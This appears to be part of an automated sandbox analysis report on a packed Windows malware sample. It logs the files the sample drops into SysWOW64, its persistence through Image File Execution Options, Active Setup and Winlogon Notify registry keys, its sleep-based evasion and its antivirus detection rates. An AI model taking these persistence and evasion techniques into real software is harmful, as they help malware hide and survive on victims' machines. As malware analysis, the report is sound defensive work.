Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\{0C8E6D89-EA51-848A-7775-6C2CC072CA88}
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0A
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0B
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0C
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0D
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0E
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-0F
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1A59D3E9-9D17-EB65-EA3F-071C953972C0}
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-01
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-02
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-03
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-04
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-05
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-06
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-07
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-08
Source: C:\Windows\SysWOW64\rmass.exe	Mutant created: \Sessions\1\BaseNamedObjects\qnd_b__-09

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\rmass.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: p4C7Gm10K3.exe	ReversingLabs: Detection: 94%
Source: p4C7Gm10K3.exe	Virustotal: Detection: 90%

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe

File read: C:\Users\user\Desktop\p4C7Gm10K3.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\p4C7Gm10K3.exe C:\Users\user\Desktop\p4C7Gm10K3.exe
Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	Process created: C:\Windows\SysWOW64\rmass.exe C:\Windows\system32\rmass.exe
Source: C:\Windows\SysWOW64\rmass.exe	Process created: C:\Windows\SysWOW64\rmass.exe --k33p
Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	Process created: C:\Windows\SysWOW64\rmass.exe C:\Windows\system32\rmass.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Process created: C:\Windows\SysWOW64\rmass.exe --k33p	Jump to behavior

Source: C:\Windows\SysWOW64\rmass.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe

Code function: 0_2_0040370C GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,FindCloseChangeNotification,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,

0_2_0040370C

Source: ntdbg.exe.2.dr	Static PE information: real checksum: 0x7135 should be: 0xd8d6
Source: p4C7Gm10K3.exe	Static PE information: real checksum: 0x0 should be: 0x12782
Source: rmass.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x12782
Source: ahuy.exe.2.dr	Static PE information: real checksum: 0xb7ea should be: 0xbef2

Source: p4C7Gm10K3.exe	Static PE information: section name: UPX2
Source: rmass.exe.0.dr	Static PE information: section name: UPX2

Source: C:\Windows\SysWOW64\rmass.exe	Code function: 3_2_00403955 push eax; retn 0040h		3_2_00403956
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 3_2_00403573 pushad ; retn 0040h		3_2_00403584

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\rmass.exe

Executable created and started: C:\Windows\SysWOW64\rmass.exe

Jump to behavior

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	File created: C:\Windows\SysWOW64\rmass.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	File created: C:\Windows\SysWOW64\ntdbg.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	File created: C:\Windows\SysWOW64\RECOVER32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	File created: C:\Windows\SysWOW64\ahuy.exe	Jump to dropped file

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	File created: C:\Windows\SysWOW64\rmass.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	File created: C:\Windows\SysWOW64\ntdbg.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	File created: C:\Windows\SysWOW64\RECOVER32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	File created: C:\Windows\SysWOW64\ahuy.exe	Jump to dropped file

Boot Survival

Creates a Image File Execution Options (IFEO) Debugger entry

Source: C:\Windows\SysWOW64\rmass.exe

Registry value created: C:\Windows\system32\ntdbg.exe

Jump to behavior

Creates an undocumented autostart registry key

Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe Debugger	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe Debugger	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31313639-3338-3131-3639-333831313639} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31313639-3338-3131-3639-333831313639} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31313639-3338-3131-3639-333831313639} IsInstalled	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31313639-3338-3131-3639-333831313639} IsInstalled	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31313639-3338-3131-3639-333831313639} StubPath	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{31313639-3338-3131-3639-333831313639} StubPath	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} DLLName	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} DLLName	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} Startup	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} Startup	Jump to behavior

Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567			Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe Debugger			Jump to behavior

Source: C:\Windows\SysWOW64\rmass.exe

Code function: 3_2_00403703 GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CloseHandle,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetSystemDirectoryA,GetWindowsDirectoryA,lstrcat,CreateFileA,SetFilePointer,ReadFile,ReadFile,ReadFile,CloseHandle,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,CloseHandle,ExpandEnvironmentStringsA,CreateFileA,GetFileTime,CloseHandle,GetSystemDirectoryA,lstrcat,lstrcat,lstrcpy,lstrcat,ExpandEnvironmentStringsA,lstrcpy,lstrcat,ExpandEnvironmentStringsA,CreateFileA,SetFileTime,CloseHandle,SetFileAttributesA,CloseHandle,GetStartupInfoA,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle,

3_2_00403703

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe

0_2_00404116

Source: C:\Windows\SysWOW64\rmass.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: C:\Windows\SysWOW64\rmass.exe	Window / User API: threadDelayed 1533	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Window / User API: threadDelayed 8202	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 883	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 871	Jump to behavior

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)			graph_0-1671
Source: C:\Windows\SysWOW64\rmass.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)			graph_2-1589

Source: C:\Windows\SysWOW64\rmass.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\ntdbg.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\RECOVER32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\ahuy.exe	Jump to dropped file

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_0-1574
Source: C:\Windows\SysWOW64\rmass.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_2-1441

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	Evasive API call chain: RegQueryValue,DecisionNodes,ExitProcess	graph_0-1572
Source: C:\Windows\SysWOW64\rmass.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_2-1418
Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_0-1572

Source: C:\Windows\SysWOW64\rmass.exe

API coverage: 1.5 %

Source: C:\Windows\SysWOW64\rmass.exe TID: 3928	Thread sleep count: 1533 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe TID: 3928	Thread sleep time: -1533000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe TID: 3384	Thread sleep count: 61 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe TID: 3384	Thread sleep time: -36600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe TID: 3928	Thread sleep count: 8202 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe TID: 3928	Thread sleep time: -8202000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\rmass.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: explorer.exe, 00000005.00000003.2979671956.000000000C374000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42efA
Source: explorer.exe, 00000005.00000002.4545904465.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2089393533.000000000962B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWystem32\DriverStore\en-US\msmouse.inf_locv
Source: explorer.exe, 00000005.00000000.2090168879.00000000097F3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000005.00000002.4545904465.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2089393533.000000000973C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWws
Source: explorer.exe, 00000005.00000003.2979671956.000000000C374000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000002.4546476312.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}RoamingCom
Source: explorer.exe, 00000005.00000002.4545904465.0000000009605000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: explorer.exe, 00000005.00000003.2979671956.000000000C374000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXms%SystemRoot%\system32\mswsock.dllD
Source: explorer.exe, 00000005.00000002.4536277296.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: rmass.exe, 00000002.00000003.3949980303.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3441706190.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3175955117.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3640578355.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3695041346.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3877654822.0000000000739000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3488346756.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3961714061.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3209181789.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4352315546.0000000000739000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3832464416.0000000000731000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
